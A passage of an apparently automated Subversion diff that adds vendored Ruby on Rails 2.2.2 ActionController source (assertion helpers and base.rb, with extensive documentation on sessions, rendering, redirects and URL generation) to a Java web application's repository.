+        klass.module_eval { include const_get("#{kind.camelize}Assertions") }
+      end
+    end
+
+    def clean_backtrace(&block)
+      yield
+    rescue Test::Unit::AssertionFailedError => error
+      framework_path = Regexp.new(File.expand_path("#{File.dirname(__FILE__)}/assertions"))
+      error.backtrace.reject! { |line| File.expand_path(line) =~ framework_path }
+      raise
+    end
+  end
+end
+
+module Test #:nodoc:
+  module Unit #:nodoc:
+    class TestCase #:nodoc:
+      include ActionController::Assertions
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/base.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/base.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/base.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1340 @@
+require 'action_controller/mime_type'
+require 'action_controller/request'
+require 'action_controller/response'
+require 'action_controller/routing'
+require 'action_controller/resources'
+require 'action_controller/url_rewriter'
+require 'action_controller/status_codes'
+require 'action_view'
+require 'drb'
+require 'set'
+
+module ActionController #:nodoc:
+  class ActionControllerError < StandardError #:nodoc:
+  end
+
+  class SessionRestoreError < ActionControllerError #:nodoc:
+  end
+
+  class RenderError < ActionControllerError #:nodoc:
+  end
+
+  class RoutingError < ActionControllerError #:nodoc:
+    attr_reader :failures
+    def initialize(message, failures=[])
+      super(message)
+      @failures = failures
+    end
+  end
+
+  class MethodNotAllowed < ActionControllerError #:nodoc:
+    attr_reader :allowed_methods
+
+    def initialize(*allowed_methods)
+      super("Only #{allowed_methods.to_sentence} requests are allowed.")
+      @allowed_methods = allowed_methods
+    end
+
+    def allowed_methods_header
+      allowed_methods.map { |method_symbol| method_symbol.to_s.upcase } * ', '
+    end
+
+    def handle_response!(response)
+      response.headers['Allow'] ||= allowed_methods_header
+    end
+  end
+
+  class NotImplemented < MethodNotAllowed #:nodoc:
+  end
+
+  class UnknownController < ActionControllerError #:nodoc:
+  end
+
+  class UnknownAction < ActionControllerError #:nodoc:
+  end
+
+  class MissingFile < ActionControllerError #:nodoc:
+  end
+
+  class RenderError < ActionControllerError #:nodoc:
+  end
+
+  class SessionOverflowError < ActionControllerError #:nodoc:
+    DEFAULT_MESSAGE = 'Your session data is larger than the data column in which it is to be stored. You must increase the size of your data column if you intend to store large data.'
+
+    def initialize(message = nil)
+      super(message || DEFAULT_MESSAGE)
+    end
+  end
+
+  class DoubleRenderError < ActionControllerError #:nodoc:
+    DEFAULT_MESSAGE = "Render and/or redirect were called multiple times in this action. Please note that you may only call render OR redirect, and at most once per action. Also note that neither redirect nor render terminate execution of the action, so if you want to exit an action after redirecting, you need to do something like \"redirect_to(...) and return\"."
+
+    def initialize(message = nil)
+      super(message || DEFAULT_MESSAGE)
+    end
+  end
+
+  class RedirectBackError < ActionControllerError #:nodoc:
+    DEFAULT_MESSAGE = 'No HTTP_REFERER was set in the request to this action, so redirect_to :back could not be called successfully. If this is a test, make sure to specify request.env["HTTP_REFERER"].'
+
+    def initialize(message = nil)
+      super(message || DEFAULT_MESSAGE)
+    end
+  end
+
+  class UnknownHttpMethod < ActionControllerError #:nodoc:
+  end
+
+  # Action Controllers are the core of a web request in Rails. They are made up of one or more actions that are executed
+  # on request and then either render a template or redirect to another action. An action is defined as a public method
+  # on the controller, which will automatically be made accessible to the web-server through Rails Routes.
+  #
+  # A sample controller could look like this:
+  #
+  #   class GuestBookController < ActionController::Base
+  #     def index
+  #       @entries = Entry.find(:all)
+  #     end
+  #
+  #     def sign
+  #       Entry.create(params[:entry])
+  #       redirect_to :action => "index"
+  #     end
+  #   end
+  #
+  # Actions, by default, render a template in the <tt>app/views</tt> directory corresponding to the name of the controller and action
+  # after executing code in the action. For example, the +index+ action of the GuestBookController would render the
+  # template <tt>app/views/guestbook/index.erb</tt> by default after populating the <tt>@entries</tt> instance variable.
+  #
+  # Unlike index, the sign action will not render a template. After performing its main purpose (creating a
+  # new entry in the guest book), it initiates a redirect instead. This redirect works by returning an external
+  # "302 Moved" HTTP response that takes the user to the index action.
+  #
+  # The index and sign represent the two basic action archetypes used in Action Controllers. Get-and-show and do-and-redirect.
+  # Most actions are variations of these themes.
+  #
+  # == Requests
+  #
+  # Requests are processed by the Action Controller framework by extracting the value of the "action" key in the request parameters.
+  # This value should hold the name of the action to be performed. Once the action has been identified, the remaining
+  # request parameters, the session (if one is available), and the full request with all the HTTP headers are made available to
+  # the action through instance variables. Then the action is performed.
+  #
+  # The full request object is available with the request accessor and is primarily used to query for HTTP headers. These queries
+  # are made by accessing the environment hash, like this:
+  #
+  #   def server_ip
+  #     location = request.env["SERVER_ADDR"]
+  #     render :text => "This server hosted at #{location}"
+  #   end
+  #
+  # == Parameters
+  #
+  # All request parameters, whether they come from a GET or POST request, or from the URL, are available through the params method
+  # which returns a hash. For example, an action that was performed through <tt>/weblog/list?category=All&limit=5</tt> will include
+  # <tt>{ "category" => "All", "limit" => 5 }</tt> in params.
+  #
+  # It's also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as:
+  #
+  #   <input type="text" name="post[name]" value="david">
+  #   <input type="text" name="post[address]" value="hyacintvej">
+  #
+  # A request stemming from a form holding these inputs will include <tt>{ "post" => { "name" => "david", "address" => "hyacintvej" } }</tt>.
+  # If the address input had been named "post[address][street]", the params would have included
+  # <tt>{ "post" => { "address" => { "street" => "hyacintvej" } } }</tt>. There's no limit to the depth of the nesting.
+  #
+  # == Sessions
+  #
+  # Sessions allows you to store objects in between requests. This is useful for objects that are not yet ready to be persisted,
+  # such as a Signup object constructed in a multi-paged process, or objects that don't change much and are needed all the time, such
+  # as a User object for a system that requires login. The session should not be used, however, as a cache for objects where it's likely
+  # they could be changed unknowingly. It's usually too much work to keep it all synchronized -- something databases already excel at.
+  #
+  # You can place objects in the session by using the <tt>session</tt> method, which accesses a hash:
+  #
+  #   session[:person] = Person.authenticate(user_name, password)
+  #
+  # And retrieved again through the same hash:
+  #
+  #   Hello #{session[:person]}
+  #
+  # For removing objects from the session, you can either assign a single key to +nil+:
+  #
+  #   # removes :person from session
+  #   session[:person] = nil
+  #
+  # or you can remove the entire session with +reset_session+.
+  #
+  # Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
+  # This prevents the user from tampering with the session but also allows him to see its contents.
+  #
+  # Do not put secret information in cookie-based sessions!
+  #
+  # Other options for session storage are:
+  #
+  # * ActiveRecordStore - Sessions are stored in your database, which works better than PStore with multiple app servers and,
+  #   unlike CookieStore, hides your session contents from the user. To use ActiveRecordStore, set
+  #
+  #     config.action_controller.session_store = :active_record_store
+  #
+  #   in your <tt>config/environment.rb</tt> and run <tt>rake db:sessions:create</tt>.
+  #
+  # * MemCacheStore - Sessions are stored as entries in your memcached cache.
+  #   Set the session store type in <tt>config/environment.rb</tt>:
+  #
+  #     config.action_controller.session_store = :mem_cache_store
+  #
+  #   This assumes that memcached has been installed and configured properly.
+  #   See the MemCacheStore docs for more information.
+  #
+  # == Responses
+  #
+  # Each action results in a response, which holds the headers and document to be sent to the user's browser. The actual response
+  # object is generated automatically through the use of renders and redirects and requires no user intervention.
+  #
+  # == Renders
+  #
+  # Action Controller sends content to the user by using one of five rendering methods. The most versatile and common is the rendering
+  # of a template. Included in the Action Pack is the Action View, which enables rendering of ERb templates. It's automatically configured.
+  # The controller passes objects to the view by assigning instance variables:
+  #
+  #   def show
+  #     @post = Post.find(params[:id])
+  #   end
+  #
+  # Which are then automatically available to the view:
+  #
+  #   Title: <%= @post.title %>
+  #
+  # You don't have to rely on the automated rendering. Especially actions that could result in the rendering of different templates will use
+  # the manual rendering methods:
+  #
+  #   def search
+  #     @results = Search.find(params[:query])
+  #     case @results
+  #       when 0 then render :action => "no_results"
+  #       when 1 then render :action => "show"
+  #       when 2..10 then render :action => "show_many"
+  #     end
+  #   end
+  #
+  # Read more about writing ERb and Builder templates in link:classes/ActionView/Base.html.
+  #
+  # == Redirects
+  #
+  # Redirects are used to move from one action to another. For example, after a <tt>create</tt> action, which stores a blog entry to a database,
+  # we might like to show the user the new entry. Because we're following good DRY principles (Don't Repeat Yourself), we're going to reuse (and redirect to)
+  # a <tt>show</tt> action that we'll assume has already been created. The code might look like this:
+  #
+  #   def create
+  #     @entry = Entry.new(params[:entry])
+  #     if @entry.save
+  #       # The entry was saved correctly, redirect to show
+  #       redirect_to :action => 'show', :id => @entry.id
+  #     else
+  #       # things didn't go so well, do something else
+  #     end
+  #   end
+  #
+  # In this case, after saving our new entry to the database, the user is redirected to the <tt>show</tt> method which is then executed.
+  #
+  # == Calling multiple redirects or renders
+  #
+  # An action may contain only a single render or a single redirect. Attempting to try to do either again will result in a DoubleRenderError:
+  #
+  #   def do_something
+  #     redirect_to :action => "elsewhere"
+  #     render :action => "overthere" # raises DoubleRenderError
+  #   end
+  #
+  # If you need to redirect on the condition of something, then be sure to add "and return" to halt execution.
+  #
+  #   def do_something
+  #     redirect_to(:action => "elsewhere") and return if monkeys.nil?
+  #     render :action => "overthere" # won't be called if monkeys is nil
+  #   end
+  #
+  class Base
+    DEFAULT_RENDER_STATUS_CODE = "200 OK"
+
+    include StatusCodes
+
+    cattr_reader :protected_instance_variables
+    # Controller specific instance variables which will not be accessible inside views.
+    @@protected_instance_variables = %w(@assigns @performed_redirect @performed_render @variables_added @request_origin @url @parent_controller
+                                        @action_name @before_filter_chain_aborted @action_cache_path @_session @_cookies @_headers @_params
+                                        @_flash @_response)
+
+    # Prepends all the URL-generating helpers from AssetHelper. This makes it possible to easily move javascripts, stylesheets,
+    # and images to a dedicated asset server away from the main web server. Example:
+    #   ActionController::Base.asset_host = "http://assets.example.com"
+    @@asset_host = ""
+    cattr_accessor :asset_host
+
+    # All requests are considered local by default, so everyone will be exposed to detailed debugging screens on errors.
+    # When the application is ready to go public, this should be set to false, and the protected method <tt>local_request?</tt>
+    # should instead be implemented in the controller to determine when debugging screens should be shown.
+    @@consider_all_requests_local = true
+    cattr_accessor :consider_all_requests_local
+
+    # Indicates whether to allow concurrent action processing. Your
+    # controller actions and any other code they call must also behave well
+    # when called from concurrent threads. Turned off by default.
+    @@allow_concurrency = false
+    cattr_accessor :allow_concurrency
+
+    # Modern REST web services often need to submit complex data to the web application.
+    # The <tt>@@param_parsers</tt> hash lets you register handlers which will process the HTTP body and add parameters to the
+    # <tt>params</tt> hash. These handlers are invoked for POST and PUT requests.
+    #
+    # By default <tt>application/xml</tt> is enabled. A XmlSimple class with the same param name as the root will be instantiated
+    # in the <tt>params</tt>. This allows XML requests to mask themselves as regular form submissions, so you can have one
+    # action serve both regular forms and web service requests.
+    #
+    # Example of doing your own parser for a custom content type:
+    #
+    #   ActionController::Base.param_parsers[Mime::Type.lookup('application/atom+xml')] = Proc.new do |data|
+    #      node = REXML::Document.new(post)
+    #     { node.root.name => node.root }
+    #   end
+    #
+    # Note: Up until release 1.1 of Rails, Action Controller would default to using XmlSimple configured to discard the
+    # root node for such requests. The new default is to keep the root, such that "<r><name>David</name></r>" results
+    # in <tt>params[:r][:name]</tt> for "David" instead of <tt>params[:name]</tt>. To get the old behavior, you can
+    # re-register XmlSimple as application/xml handler ike this:
+    #
+    #   ActionController::Base.param_parsers[Mime::XML] =
+    #     Proc.new { |data| XmlSimple.xml_in(data, 'ForceArray' => false) }
+    #
+    # A YAML parser is also available and can be turned on with:
+    #
+    #   ActionController::Base.param_parsers[Mime::YAML] = :yaml
+    @@param_parsers = { Mime::MULTIPART_FORM   => :multipart_form,
+                        Mime::URL_ENCODED_FORM => :url_encoded_form,
+                        Mime::XML              => :xml_simple,
+                        Mime::JSON             => :json }
+    cattr_accessor :param_parsers
+
+    # Controls the default charset for all renders.
+    @@default_charset = "utf-8"
+    cattr_accessor :default_charset
+
+    # The logger is used for generating information on the action run-time (including benchmarking) if available.
+    # Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+    cattr_accessor :logger
+
+    # Controls the resource action separator
+    @@resource_action_separator = "/"
+    cattr_accessor :resource_action_separator
+
+    # Allow to override path names for default resources' actions
+    @@resources_path_names = { :new => 'new', :edit => 'edit' }
+    cattr_accessor :resources_path_names
+
+    # Sets the token parameter name for RequestForgery. Calling +protect_from_forgery+
+    # sets it to <tt>:authenticity_token</tt> by default.
+    cattr_accessor :request_forgery_protection_token
+
+    # Indicates whether or not optimise the generated named
+    # route helper methods
+    cattr_accessor :optimise_named_routes
+    self.optimise_named_routes = true
+
+    # Indicates whether the response format should be determined by examining the Accept HTTP header,
+    # or by using the simpler params + ajax rules.
+    #
+    # If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept
+    # header into account.  If it is set to false then the request format will be determined solely
+    # by examining params[:format].  If params format is missing, the format will be either HTML or
+    # Javascript depending on whether the request is an AJAX request.
+    cattr_accessor :use_accept_header
+    self.use_accept_header = true
+
+    # Controls whether request forgergy protection is turned on or not. Turned off by default only in test mode.
+    class_inheritable_accessor :allow_forgery_protection
+    self.allow_forgery_protection = true
+
+    # If you are deploying to a subdirectory, you will need to set
+    # <tt>config.action_controller.relative_url_root</tt>
+    # This defaults to ENV['RAILS_RELATIVE_URL_ROOT']
+    cattr_accessor :relative_url_root
+    self.relative_url_root = ENV['RAILS_RELATIVE_URL_ROOT']
+
+    # Holds the request object that's primarily used to get environment variables through access like
+    # <tt>request.env["REQUEST_URI"]</tt>.
+    attr_internal :request
+
+    # Holds a hash of all the GET, POST, and Url parameters passed to the action. Accessed like <tt>params["post_id"]</tt>
+    # to get the post_id. No type casts are made, so all values are returned as strings.
+    attr_internal :params
+
+    # Holds the response object that's primarily used to set additional HTTP headers through access like
+    # <tt>response.headers["Cache-Control"] = "no-cache"</tt>. Can also be used to access the final body HTML after a template
+    # has been rendered through response.body -- useful for <tt>after_filter</tt>s that wants to manipulate the output,
+    # such as a OutputCompressionFilter.
+    attr_internal :response
+
+    # Holds a hash of objects in the session. Accessed like <tt>session[:person]</tt> to get the object tied to the "person"
+    # key. The session will hold any type of object as values, but the key should be a string or symbol.
+    attr_internal :session
+
+    # Holds a hash of header names and values. Accessed like <tt>headers["Cache-Control"]</tt> to get the value of the Cache-Control
+    # directive. Values should always be specified as strings.
+    attr_internal :headers
+
+    # Returns the name of the action this controller is processing.
+    attr_accessor :action_name
+
+    class << self
+      # Factory for the standard create, process loop where the controller is discarded after processing.
+      def process(request, response) #:nodoc:
+        new.process(request, response)
+      end
+
+      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "NeatController".
+      def controller_class_name
+        @controller_class_name ||= name.demodulize
+      end
+
+      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "neat".
+      def controller_name
+        @controller_name ||= controller_class_name.sub(/Controller$/, '').underscore
+      end
+
+      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "one_module/two_module/neat".
+      def controller_path
+        @controller_path ||= name.gsub(/Controller$/, '').underscore
+      end
+
+      # Return an array containing the names of public methods that have been marked hidden from the action processor.
+      # By default, all methods defined in ActionController::Base and included modules are hidden.
+      # More methods can be hidden using <tt>hide_actions</tt>.
+      def hidden_actions
+        read_inheritable_attribute(:hidden_actions) || write_inheritable_attribute(:hidden_actions, [])
+      end
+
+      # Hide each of the given methods from being callable as actions.
+      def hide_action(*names)
+        write_inheritable_attribute(:hidden_actions, hidden_actions | names.map { |name| name.to_s })
+      end
+
+      # View load paths determine the bases from which template references can be made. So a call to
+      # render("test/template") will be looked up in the view load paths array and the closest match will be
+      # returned.
+      def view_paths
+        if defined? @view_paths
+          @view_paths
+        else
+          superclass.view_paths
+        end
+      end
+
+      def view_paths=(value)
+        @view_paths = ActionView::Base.process_view_paths(value) if value
+      end
+
+      # Adds a view_path to the front of the view_paths array.
+      # If the current class has no view paths, copy them from
+      # the superclass.  This change will be visible for all future requests.
+      #
+      #   ArticleController.prepend_view_path("views/default")
+      #   ArticleController.prepend_view_path(["views/default", "views/custom"])
+      #
+      def prepend_view_path(path)
+        @view_paths = superclass.view_paths.dup if !defined?(@view_paths) || @view_paths.nil?
+        @view_paths.unshift(*path)
+      end
+
+      # Adds a view_path to the end of the view_paths array.
+      # If the current class has no view paths, copy them from
+      # the superclass. This change will be visible for all future requests.
+      #
+      #   ArticleController.append_view_path("views/default")
+      #   ArticleController.append_view_path(["views/default", "views/custom"])
+      #
+      def append_view_path(path)
+        @view_paths = superclass.view_paths.dup if @view_paths.nil?
+        @view_paths.push(*path)
+      end
+
+      # Replace sensitive parameter data from the request log.
+      # Filters parameters that have any of the arguments as a substring.
+      # Looks in all subhashes of the param hash for keys to filter.
+      # If a block is given, each key and value of the parameter hash and all
+      # subhashes is passed to it, the value or key
+      # can be replaced using String#replace or similar method.
+      #
+      # Examples:
+      #   filter_parameter_logging
+      #   => Does nothing, just slows the logging process down
+      #
+      #   filter_parameter_logging :password
+      #   => replaces the value to all keys matching /password/i with "[FILTERED]"
+      #
+      #   filter_parameter_logging :foo, "bar"
+      #   => replaces the value to all keys matching /foo|bar/i with "[FILTERED]"
+      #
+      #   filter_parameter_logging { |k,v| v.reverse! if k =~ /secret/i }
+      #   => reverses the value to all keys matching /secret/i
+      #
+      #   filter_parameter_logging(:foo, "bar") { |k,v| v.reverse! if k =~ /secret/i }
+      #   => reverses the value to all keys matching /secret/i, and
+      #      replaces the value to all keys matching /foo|bar/i with "[FILTERED]"
+      def filter_parameter_logging(*filter_words, &block)
+        parameter_filter = Regexp.new(filter_words.collect{ |s| s.to_s }.join('|'), true) if filter_words.length > 0
+
+        define_method(:filter_parameters) do |unfiltered_parameters|
+          filtered_parameters = {}
+
+          unfiltered_parameters.each do |key, value|
+            if key =~ parameter_filter
+              filtered_parameters[key] = '[FILTERED]'
+            elsif value.is_a?(Hash)
+              filtered_parameters[key] = filter_parameters(value)
+            elsif block_given?
+              key = key.dup
+              value = value.dup if value
+              yield key, value
+              filtered_parameters[key] = value
+            else
+              filtered_parameters[key] = value
+            end
+          end
+
+          filtered_parameters
+        end
+        protected :filter_parameters
+      end
+
+      delegate :exempt_from_layout, :to => 'ActionView::Base'
+    end
+
+    public
+      # Extracts the action_name from the request parameters and performs that action.
+      def process(request, response, method = :perform_action, *arguments) #:nodoc:
+        response.request = request
+
+        initialize_template_class(response)
+        assign_shortcuts(request, response)
+        initialize_current_url
+        assign_names
+
+        log_processing
+        send(method, *arguments)
+
+        send_response
+      ensure
+        process_cleanup
+      end
+
+      def send_response
+        response.prepare! unless component_request?
+        response
+      end
+
+      # Returns a URL that has been rewritten according to the options hash and the defined routes.
+      # (For doing a complete redirect, use +redirect_to+).
+      #
+      # <tt>url_for</tt> is used to:
+      #
+      # All keys given to +url_for+ are forwarded to the Route module, save for the following:
+      # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path. For example,
+      #   <tt>url_for :controller => 'posts', :action => 'show', :id => 10, :anchor => 'comments'</tt>
+      #   will produce "/posts/show/10#comments".
+      # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>false</tt> by default).
+      # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
+      #   is currently not recommended since it breaks caching.
+      # * <tt>:host</tt> - Overrides the default (current) host if provided.
+      # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
+      # * <tt>:port</tt> - Optionally specify the port to connect to.
+      # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
+      # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
+      # * <tt>:skip_relative_url_root</tt> - If true, the url is not constructed using the +relative_url_root+
+      #   of the request so the path will include the web server relative installation directory.
+      #
+      # The URL is generated from the remaining keys in the hash. A URL contains two key parts: the <base> and a query string.
+      # Routes composes a query string as the key/value pairs not included in the <base>.
+      #
+      # The default Routes setup supports a typical Rails path of "controller/action/id" where action and id are optional, with
+      # action defaulting to 'index' when not given. Here are some typical url_for statements and their corresponding URLs:
+      #
+      #   url_for :controller => 'posts', :action => 'recent'                # => 'proto://host.com/posts/recent'
+      #   url_for :controller => 'posts', :action => 'index'                 # => 'proto://host.com/posts'
+      #   url_for :controller => 'posts', :action => 'index', :port=>'8033'  # => 'proto://host.com:8033/posts'
+      #   url_for :controller => 'posts', :action => 'show', :id => 10       # => 'proto://host.com/posts/show/10'
+      #   url_for :controller => 'posts', :user => 'd', :password => '123'   # => 'proto://d:[email protected]/posts'
+      #
+      # When generating a new URL, missing values may be filled in from the current request's parameters. For example,
+      # <tt>url_for :action => 'some_action'</tt> will retain the current controller, as expected. This behavior extends to
+      # other parameters, including <tt>:controller</tt>, <tt>:id</tt>, and any other parameters that are placed into a Route's
+      # path.
+      #  
+      # The URL helpers such as <tt>url_for</tt> have a limited form of memory: when generating a new URL, they can look for
+      # missing values in the current request's parameters. Routes attempts to guess when a value should and should not be
+      # taken from the defaults. There are a few simple rules on how this is performed:
+      #
+      # * If the controller name begins with a slash no defaults are used:
+      #
+      #     url_for :controller => '/home'
+      #
+      #   In particular, a leading slash ensures no namespace is assumed. Thus,
+      #   while <tt>url_for :controller => 'users'</tt> may resolve to
+      #   <tt>Admin::UsersController</tt> if the current controller lives under
+      #   that module, <tt>url_for :controller => '/users'</tt> ensures you link
+      #   to <tt>::UsersController</tt> no matter what.
+      # * If the controller changes, the action will default to index unless provided
+      #
+      # The final rule is applied while the URL is being generated and is best illustrated by an example. Let us consider the
+      # route given by <tt>map.connect 'people/:last/:first/:action', :action => 'bio', :controller => 'people'</tt>.
+      #
+      # Suppose that the current URL is "people/hh/david/contacts". Let's consider a few different cases of URLs which are generated
+      # from this page.
+      #
+      # * <tt>url_for :action => 'bio'</tt> -- During the generation of this URL, default values will be used for the first and
+      # last components, and the action shall change. The generated URL will be, "people/hh/david/bio".
+      # * <tt>url_for :first => 'davids-little-brother'</tt> This generates the URL 'people/hh/davids-little-brother' -- note
+      #   that this URL leaves out the assumed action of 'bio'.
+      #
+      # However, you might ask why the action from the current request, 'contacts', isn't carried over into the new URL. The
+      # answer has to do with the order in which the parameters appear in the generated path. In a nutshell, since the
+      # value that appears in the slot for <tt>:first</tt> is not equal to default value for <tt>:first</tt> we stop using
+      # defaults. On its own, this rule can account for much of the typical Rails URL behavior.
+      #  
+      # Although a convenience, defaults can occasionally get in your way. In some cases a default persists longer than desired.
+      # The default may be cleared by adding <tt>:name => nil</tt> to <tt>url_for</tt>'s options.
+      # This is often required when writing form helpers, since the defaults in play may vary greatly depending upon where the
+      # helper is used from. The following line will redirect to PostController's default action, regardless of the page it is
+      # displayed on:
+      #
+      #   url_for :controller => 'posts', :action => nil
+      #
+      # If you explicitly want to create a URL that's almost the same as the current URL, you can do so using the
+      # <tt>:overwrite_params</tt> options. Say for your posts you have different views for showing and printing them.
+      # Then, in the show view, you get the URL for the print view like this
+      #
+      #   url_for :overwrite_params => { :action => 'print' }
+      #
+      # This takes the current URL as is and only exchanges the action. In contrast, <tt>url_for :action => 'print'</tt>
+      # would have slashed-off the path components after the changed action.
+      def url_for(options = {})
+        options ||= {}
+        case options
+          when String
+            options
+          when Hash
+            @url.rewrite(rewrite_options(options))
+          else
+            polymorphic_url(options)
+        end
+      end
+
+      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "NeatController".
+      def controller_class_name
+        self.class.controller_class_name
+      end
+
+      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "neat".
+      def controller_name
+        self.class.controller_name
+      end
+
+      # Converts the class name from something like "OneModule::TwoModule::NeatController" to "one_module/two_module/neat".
+      def controller_path
+        self.class.controller_path
+      end
+
+      def session_enabled?
+        request.session_options && request.session_options[:disabled] != false
+      end
+
+      self.view_paths = []
+
+      # View load paths for controller.
+      def view_paths
+        @template.view_paths
+      end
+
+      def view_paths=(value)
+        @template.view_paths = ActionView::Base.process_view_paths(value)
+      end
+
+      # Adds a view_path to the front of the view_paths array.
+      # This change affects the current request only.
+      #
+      #   self.prepend_view_path("views/default")
+      #   self.prepend_view_path(["views/default", "views/custom"])
+      #
+      def prepend_view_path(path)
+        @template.view_paths.unshift(*path)
+      end
+
+      # Adds a view_path to the end of the view_paths array.
+      # This change affects the current request only.
+      #
+      #   self.append_view_path("views/default")
+      #   self.append_view_path(["views/default", "views/custom"])
+      #
+      def append_view_path(path)
+        @template.view_paths.push(*path)
+      end
+
+    protected
+      # Renders the content that will be returned to the browser as the response body.
+      #
+      # === Rendering an action
+      #
+      # Action rendering is the most common form and the type used automatically by Action Controller when nothing else is
+      # specified. By default, actions are rendered within the current layout (if one exists).
+      #
+      #   # Renders the template for the action "goal" within the current controller
+      #   render :action => "goal"
+      #
+      #   # Renders the template for the action "short_goal" within the current controller,
+      #   # but without the current active layout
+      #   render :action => "short_goal", :layout => false
+      #
+      #   # Renders the template for the action "long_goal" within the current controller,
+      #   # but with a custom layout
+      #   render :action => "long_goal", :layout => "spectacular"
+      #
+      # === Rendering partials
+      #
+      # Partial rendering in a controller is most commonly used together with Ajax calls that only update one or a few elements on a page
+      # without reloading. Rendering of partials from the controller makes it possible to use the same partial template in
+      # both the full-page rendering (by calling it from within the template) and when sub-page updates happen (from the
+      # controller action responding to Ajax calls). By default, the current layout is not used.
+      #
+      #   # Renders the same partial with a local variable.
+      #   render :partial => "person", :locals => { :name => "david" }
+      #
+      #   # Renders the partial, making @new_person available through
+      #   # the local variable 'person'
+      #   render :partial => "person", :object => @new_person
+      #
+      #   # Renders a collection of the same partial by making each element
+      #   # of @winners available through the local variable "person" as it
+      #   # builds the complete response.
+      #   render :partial => "person", :collection => @winners
+      #
+      #   # Renders a collection of partials but with a custom local variable name
+      #   render :partial => "admin_person", :collection => @winners, :as => :person
+      #
+      #   # Renders the same collection of partials, but also renders the
+      #   # person_divider partial between each person partial.
+      #   render :partial => "person", :collection => @winners, :spacer_template => "person_divider"
+      #
+      #   # Renders a collection of partials located in a view subfolder
+      #   # outside of our current controller.  In this example we will be
+      #   # rendering app/views/shared/_note.r(html|xml)  Inside the partial
+      #   # each element of @new_notes is available as the local var "note".
+      #   render :partial => "shared/note", :collection => @new_notes
+      #
+      #   # Renders the partial with a status code of 500 (internal error).
+      #   render :partial => "broken", :status => 500
+      #
+      # Note that the partial filename must also be a valid Ruby variable name,
+      # so e.g. 2005 and register-user are invalid.
+      #
+      #
+      # == Automatic etagging
+      #
+      # Rendering will automatically insert the etag header on 200 OK responses. The etag is calculated using MD5 of the
+      # response body. If a request comes in that has a matching etag, the response will be changed to a 304 Not Modified
+      # and the response body will be set to an empty string. No etag header will be inserted if it's already set.
+      #
+      # === Rendering a template
+      #
+      # Template rendering works just like action rendering except that it takes a path relative to the template root.
+      # The current layout is automatically applied.
+      #
+      #   # Renders the template located in [TEMPLATE_ROOT]/weblog/show.r(html|xml) (in Rails, app/views/weblog/show.erb)
+      #   render :template => "weblog/show"
+      #
+      #   # Renders the template with a local variable
+      #   render :template => "weblog/show", :locals => {:customer => Customer.new}
+      #
+      # === Rendering a file
+      #
+      # File rendering works just like action rendering except that it takes a filesystem path. By default, the path
+      # is assumed to be absolute, and the current layout is not applied.
+      #
+      #   # Renders the template located at the absolute filesystem path
+      #   render :file => "/path/to/some/template.erb"
+      #   render :file => "c:/path/to/some/template.erb"
+      #
+      #   # Renders a template within the current layout, and with a 404 status code
+      #   render :file => "/path/to/some/template.erb", :layout => true, :status => 404
+      #   render :file => "c:/path/to/some/template.erb", :layout => true, :status => 404
+      #
+      # === Rendering text
+      #
+      # Rendering of text is usually used for tests or for rendering prepared content, such as a cache. By default, text
+      # rendering is not done within the active layout.
+      #
+      #   # Renders the clear text "hello world" with status code 200
+      #   render :text => "hello world!"
+      #
+      #   # Renders the clear text "Explosion!"  with status code 500
+      #   render :text => "Explosion!", :status => 500
+      #
+      #   # Renders the clear text "Hi there!" within the current active layout (if one exists)
+      #   render :text => "Hi there!", :layout => true
+      #
+      #   # Renders the clear text "Hi there!" within the layout
+      #   # placed in "app/views/layouts/special.r(html|xml)"
+      #   render :text => "Hi there!", :layout => "special"
+      #
+      # The <tt>:text</tt> option can also accept a Proc object, which can be used to manually control the page generation. This should
+      # generally be avoided, as it violates the separation between code and content, and because almost everything that can be
+      # done with this method can also be done more cleanly using one of the other rendering methods, most notably templates.
+      #
+      #   # Renders "Hello from code!"
+      #   render :text => proc { |response, output| output.write("Hello from code!") }
+      #
+      # === Rendering XML
+      #
+      # Rendering XML sets the content type to application/xml.
+      #
+      #   # Renders '<name>David</name>'
+      #   render :xml => {:name => "David"}.to_xml
+      #
+      # It's not necessary to call <tt>to_xml</tt> on the object you want to render, since <tt>render</tt> will
+      # automatically do that for you:
+      #
+      #   # Also renders '<name>David</name>'
+      #   render :xml => {:name => "David"}
+      #
+      # === Rendering JSON
+      #
+      # Rendering JSON sets the content type to application/json and optionally wraps the JSON in a callback. It is expected
+      # that the response will be parsed (or eval'd) for use as a data structure.
+      #
+      #   # Renders '{"name": "David"}'
+      #   render :json => {:name => "David"}.to_json
+      #
+      # It's not necessary to call <tt>to_json</tt> on the object you want to render, since <tt>render</tt> will
+      # automatically do that for you:
+      #
+      #   # Also renders '{"name": "David"}'
+      #   render :json => {:name => "David"}
+      #
+      # Sometimes the result isn't handled directly by a script (such as when the request comes from a SCRIPT tag),
+      # so the <tt>:callback</tt> option is provided for these cases.
+      #
+      #   # Renders 'show({"name": "David"})'
+      #   render :json => {:name => "David"}.to_json, :callback => 'show'
+      #
+      # === Rendering an inline template
+      #
+      # Rendering of an inline template works as a cross between text and action rendering where the source for the template
+      # is supplied inline, like text, but its interpreted with ERb or Builder, like action. By default, ERb is used for rendering
+      # and the current layout is not used.
+      #
+      #   # Renders "hello, hello, hello, again"
